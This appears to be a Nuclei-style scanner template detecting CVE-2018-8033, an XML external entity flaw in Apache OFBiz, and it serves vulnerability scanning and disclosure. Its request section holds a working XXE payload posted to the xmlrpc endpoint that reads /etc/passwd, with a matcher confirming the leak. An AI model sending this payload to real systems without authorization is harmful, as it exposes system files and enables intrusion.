50 lines
1.7 KiB
YAML
50 lines
1.7 KiB
YAML
id: CVE-2018-8033
|
|
|
|
info:
|
|
name: Apache OFBiz 16.11.04 - XML Entity Injection
|
|
author: pikpikcu
|
|
severity: high
|
|
description: |
|
|
Apache OFBiz 16.11.04 is susceptible to XML external entity injection (XXE injection).
|
|
remediation: |
|
|
Apply the necessary patches or upgrade to a non-vulnerable version of Apache OFBiz.
|
|
reference:
|
|
- https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-8033
|
|
- https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777%40%3Cuser.ofbiz.apache.org%3E
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2018-8033
|
|
cwe-id: CWE-200
|
|
epss-score: 0.00813
|
|
epss-percentile: 0.79798
|
|
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: ofbiz
|
|
tags: cve,cve2018,apache,ofbiz,xxe
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /webtools/control/xmlrpc HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Accept-Language: en
|
|
Content-Type: application/xml
|
|
|
|
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100f3764a2290e4a13abb9804f62d630e5f5906df2ae6b6d1a26c0c806426ad428902204792258be3b547ce1839961217b21d9cb1a9401146e34c9bf347d61fdbaef5e6:922c64590222798bb761d5b6d8e72950 |